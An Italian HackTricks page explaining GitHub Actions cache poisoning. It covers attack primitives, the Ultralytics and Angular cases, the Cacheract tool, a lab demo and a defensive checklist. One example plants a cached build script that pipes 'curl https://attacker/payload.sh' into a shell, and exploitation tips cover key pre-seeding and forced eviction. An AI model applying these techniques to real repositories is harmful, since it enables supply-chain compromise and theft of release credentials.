GH Actions - Cache Poisoning
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al 💬 Discord group o al telegram group o seguici su Twitter 🐦 @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
Panoramica
La GitHub Actions cache è globale per un repository. Qualsiasi workflow che conosca una cache key (o restore-keys) può popolare quella voce, anche se il job ha solo permissions: contents: read. GitHub non segregates le cache per workflow, tipo di evento o livello di fiducia, quindi un attaccante che compromette un job a basso privilegio può avvelenare una cache che un job di release privilegiato ripristinerà in seguito. È così che la compromissione di Ultralytics ha pivotato da un workflow pull_request_target nella pipeline di pubblicazione su PyPI.
Primitive dell’attacco
actions/cacheespone sia le operazioni di restore che di save (actions/cache@v4,actions/cache/save@v4,actions/cache/restore@v4). La chiamata save è consentita per qualsiasi job eccetto i workflowpull_requestveramente non attendibili attivati da fork.- Le voci di cache sono identificate unicamente dalla
key.restore-keysampi rendono facile l’iniezione di payload perché l’attaccante deve solo collidere con un prefisso. - Cache keys e versioni sono valori specificati dal client; il servizio di cache non valida che una key/version corrisponda a un workflow attendibile o a un cache path.
- Il cache server URL + runtime token hanno una durata relativamente lunga rispetto al workflow (storicamente ~6 ore, ora ~90 minuti) e non sono revocabili dall’utente. A partire dalla fine del 2024 GitHub blocca le scritture sulla cache dopo il completamento del job originario, quindi gli attaccanti devono scrivere mentre il job è ancora in esecuzione o pre-poisonare chiavi future.
- Il filesystem memorizzato nella cache viene ripristinato alla lettera. Se la cache contiene script o binari che vengono eseguiti successivamente, l’attaccante controlla quel percorso di esecuzione.
- Il file di cache stesso non viene validato al restore; è semplicemente un archivio zstd-compressed, quindi una poisoned entry può sovrascrivere script,
package.jsono altri file sotto il restore path.
Esempio di catena di sfruttamento
Author workflow (pull_request_target) poisoned the cache:
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
Il workflow privilegiato ha ripristinato ed eseguito la cache avvelenata:
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
Il secondo job ora esegue codice controllato dall’attaccante mentre possiede le credenziali di rilascio (PyPI tokens, PATs, cloud deploy keys, etc.).
Poisoning mechanics
Le voci della cache di GitHub Actions sono tipicamente archivi tar compressi con zstd. Puoi crearne uno localmente e caricarlo nella cache:
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
In caso di cache hit, l’azione di restore estrarrà l’archivio così com’è. Se il percorso della cache include script o file di configurazione che verranno eseguiti in seguito (build tooling, action.yml, package.json, ecc.), puoi sovrascriverli per ottenere esecuzione.
Suggerimenti pratici per lo sfruttamento
- Prendi di mira workflow attivati da
pull_request_target,issue_commento comandi di bot che comunque salvano le cache; GitHub consente loro di sovrascrivere chiavi a livello di repository anche quando il runner ha solo accesso in sola lettura al repo. - Cerca chiavi di cache deterministiche riutilizzate attraverso confini di fiducia (ad esempio,
pip-${{ hashFiles('poetry.lock') }}) orestore-keyspermissivi, quindi salva il tuo tarball malevolo prima che il workflow privilegiato venga eseguito. - Monitora i log per voci
Cache savedoppure aggiungi un tuo step di salvataggio cache in modo che il job di release successivo ripristini il payload ed esegua gli script o i binari trojanizzati.
Tecniche più recenti osservate nella catena Angular (2026)
- Cache v2 “prefix hit” behavior: In Cache v2, exact misses possono comunque ripristinare un’altra entry che condivide lo stesso prefisso di chiave (effettivamente “all keys are restore keys”). Attackers possono pre-seed near-collision keys in modo che un miss futuro ricada sull’oggetto poisoned.
- Forced eviction in one run: Dal 20 novembre 2025, GitHub evicterà le voci immediatamente quando l’utilizzo della cache del repository supera il limite (10 GB di default). An attacker può caricare prima dati di cache inutili, far evictare le voci legittime durante lo stesso job e poi scrivere la chiave di cache malevola senza aspettare il ciclo di pulizia giornaliero.
setup-nodecache pivots via reusable actions: Reusable/internal actions che avvolgonoactions/setup-nodeconcache-dependency-pathpossono silenziosamente collegare workflow a basso-trust e ad alto-trust. Se entrambi i percorsi hashano in chiavi condivise, poisoning the dependency cache può eseguire in automazione privilegiata (per esempio Renovate/bot jobs).- Chaining cache poisoning into bot-driven supply chain abuse: Nel caso Angular, cache poisoning ha esposto un bot PAT, che è poi stato utilizzabile per force-pushare teste di PR possedute dal bot dopo l’approvazione. Se le approval-reset rules esentano bot actors, questo permette di sostituire commit revisionati con commit malicious (per esempio imposter action SHAs) prima del merge.
##å Cacheract
Cacheract è un toolkit PoC-focused per GitHub Actions cache poisoning in test autorizzati. Il valore pratico è che automatizza le parti fragili che sono facili da sbagliare manualmente:
- Rileva e utilizza il contesto di runtime della cache dal runner (
ACTIONS_RUNTIME_TOKENe cache service URL). - Enumera e prende di mira chiavi/versioni candidate della cache usate dai workflow downstream.
- Forza l’eviction riempiendo la quota di cache (quando applicabile) e poi scrivendo voci attacker-controlled nello stesso run.
- Semina contenuto di cache poisoned così che i workflow successivi ripristinino ed eseguano tooling modificato.
Questo è particolarmente utile negli ambienti Cache v2 dove timing e comportamento di key/version contano più che nelle prime implementazioni della cache.
Demo
Usa questo solo in repository che possiedi o per cui hai esplicita autorizzazione a testare.
1. Workflow vulnerabile (trigger non attendibile può salvare la cache)
Questo workflow simula un anti-pattern di pull_request_target: scrive contenuto di cache da un contesto attacker-controlled e lo salva sotto una chiave deterministica.
name: untrusted-cache-writer
on:
pull_request_target:
types: [opened, synchronize, reopened]
permissions:
contents: read
jobs:
poison:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Build "toolchain" from untrusted context (demo)
run: |
mkdir -p toolchain/bin
cat > toolchain/bin/build << 'EOF'
#!/usr/bin/env bash
echo "POISONED_BUILD_PATH"
echo "workflow=${GITHUB_WORKFLOW}" > /tmp/cache-poisoning-demo.txt
EOF
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
2. Workflow privilegiato (ripristina ed esegue il binary/script memorizzato nella cache)
Questo workflow ripristina la stessa chiave ed esegue toolchain/bin/build mentre mantiene un segreto fittizio. Se viene avvelenato, il percorso di esecuzione è controllato dall’attaccante.
name: privileged-consumer
on:
workflow_dispatch:
permissions:
contents: read
jobs:
release_like_job:
runs-on: ubuntu-latest
env:
DEMO_SECRET: ${{ secrets.DEMO_SECRET }}
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- name: Execute cached build tool
run: |
./toolchain/bin/build
test -f /tmp/cache-poisoning-demo.txt && echo "Poisoning confirmed"
3. Esegui il laboratorio
- Aggiungi un file stabile
toolchain.lockin modo che entrambi i workflow risolvano la stessa cache key. - Avvia
untrusted-cache-writertramite una PR di test. - Avvia
privileged-consumerconworkflow_dispatch. - Conferma che
POISONED_BUILD_PATHappaia nei log e che/tmp/cache-poisoning-demo.txtvenga creato.
4. Cosa dimostra tecnicamente
- Cross-workflow cache trust break: Il writer e il consumer workflow non condividono lo stesso livello di fiducia, ma condividono lo stesso namespace della cache.
- Execution-on-restore risk: Non viene effettuata alcuna validazione di integrità prima di eseguire uno script/binario ripristinato.
- Deterministic key abuse: Se un job ad alto livello di fiducia usa chiavi prevedibili, un job a basso livello di fiducia può preposizionare contenuto malevolo.
5. Checklist di verifica difensiva
- Separa le chiavi per confini di trust (
pr-,ci-,release-) ed evita prefissi condivisi. - Disabilita le scritture nella cache negli untrusted workflows.
- Calcola hash/verifica il contenuto eseguibile ripristinato prima di eseguirlo.
- Evita di eseguire strumenti direttamente dai percorsi della cache.
Riferimenti
- A Survey of 2024–2025 Open-Source Supply-Chain Compromises and Their Root Causes
- The Monsters in Your Build Cache: GitHub Actions Cache Poisoning
- Turning Almost Nothing into a Supply Chain Compromise of Angular with GitHub Actions Cache Poisoning
- ActionsCacheBlasting (deprecated, Cache V2) / Cacheract
Tip
Impara & pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara & pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara & pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sostieni HackTricks
- Controlla i subscription plans!
- Unisciti al 💬 Discord group o al telegram group o seguici su Twitter 🐦 @hacktricks_live.
- Condividi hacking tricks inviando PRs ai HackTricks e HackTricks Cloud github repos.
HackTricks Cloud

